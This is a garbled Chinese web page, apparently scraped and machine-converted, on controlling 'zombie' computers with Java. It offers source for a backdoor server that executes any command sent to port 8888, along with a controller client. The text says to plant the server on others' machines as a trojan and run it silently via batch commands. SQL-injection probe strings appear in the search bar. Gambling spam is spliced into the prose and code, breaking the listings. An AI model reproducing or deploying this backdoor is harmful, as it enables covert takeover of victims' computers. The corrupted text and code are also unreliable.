?
快捷搜索:  as  test  1111  test aNd 8=8  test++aNd+8=8  as++aNd+8=8  as aNd 8=8

和記娛樂和記怡情AG:用java控制肉雞

?

一樣平常來說,經由過程端口掃描,知道對方的端口后,要進行一些進一步的操作,不是很難!難就難在若何向對方電腦發送敕令!一樣平常電腦會開放一個135的端口,我們經由過程它做一些操作。大年夜名鼎鼎的“沖擊波”便是經由過程它了實現的。

關于135的端口闡明如下:

135端口主要用于應用RPC(Remote Procedure Call,遠程歷程調用)協議并供給DCOM(散播式組件工具模型)辦事。

端口闡明:135端口主要用于應用RPC(Remote Procedure Call,遠程歷程調用)協議并供給DCOM(散播式組件工具模型)辦事,經由過程RPC可以包管在一臺謀略機上運行的法度榜樣可以順利地履行遠程謀略機上的代 碼;應用DCOM可以經由過程收集直接進行通信,能夠跨包括HTTP協議在內的多種收集傳輸。

當然經由過程java來實現,確鑿有點艱苦,本人不多說。還有一種簡單遠程措施便是種木馬。至于若何掛馬的問題,不再本文的鉆研范圍,如有興趣讀者可以自己查閱。言歸正傳,我們看一下java遠程節制的簡單實現。

遠程謀略機注入的代碼如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import和記娛樂和記怡情AG java.io.IOException;

import java.net.ServerSocket;

import java.net.Socket;

public class Main implements Runnable {

public static final int TCP_PORT = 8888;

ServerSocket ss = null;

Socket s = null;

String cmd = null;

public Main(Socket s) {

this.s = s;

}

public void startServer() {

try {

ss = new S和記娛樂和記怡情AGerverSocket(TCP_PORT);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

while (true) {

try {

s = ss.accept();

new Thread(new Main(s)).start();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace(和記娛樂和記怡情AG);

}

}

}

public void run() {

try {

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

dos.writeUTF("連接成功");

DataInputStream dis = new DataInputStream(s.getInputStream());

while (true) {

cmd = dis.readUTF();

try {

Runtime.getRuntime().exec(cmd);

} catch (IOException e) {

}

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

public static void main(String[] args) {

new Main(null).startServer();

}

}

道理很簡單,便是在謀略機上建立一個ServerSocket, 監聽8888端口。當有客戶端接入后,回執一個“連接成功”消息。然后履行cmd敕令。

本機的代碼如下:

import java.io.DataInputStream;

import java.io.D和記娛樂和記怡情AGataOutputStream;

import java.io.IOException;

import java.net.Socket;

import 和記娛樂和記怡情AGjava.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main{

public static final int TCP_PORT = 8888;

public static String ip = "127.0.0.1";

Socket s = null;

String cmd = null;

public static void main(String[] args) {

new Main().connect();

}

public void connect(){

try {

s = new Socket(ip,TCP_PORT);

System.out.println("連接成功");

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

do{

cmd = JOptionPane.showInputDialog("輸入敕令:");

dos.writeUTF(cmd);

}while(!cmd.equals("over"));

new Thread(new RecvThread()).start();

} catch (UnknownHostException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

private class RecvThread implements Runnable{

public void run() {

DataInputStream dis;

while(true){

try {

dis = new DataInputStream(s.getInputStream());

String message = dis.readUTF();

JOptionPane.showMessageDialog(null, message);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

道理是,這邊連入對方的辦事端,向對方發送一個cmd敕令,對方電腦就會履行。簡單的如“shutdown -s”,便是讓對方關機。

弄清楚是怎么一回事后,就會發明這些異常的簡單。有興趣的話,大年夜家可以試一下。尤其是對付初學者,有很大年夜的動力。著實,Java在單機上也有很大年夜的成長潛力的。

別的假如要想讓該法度榜樣成功的在他人謀略機上悄悄的運行,只靠java照樣不可。加上一些處批敕令,就可以簡單的搞定。

免責聲明:以上內容源自網絡,版權歸原作者所有,如有侵犯您的原創版權請告知,我們將盡快刪除相關內容。

您可能還會對下面的文章感興趣:

快三平台开户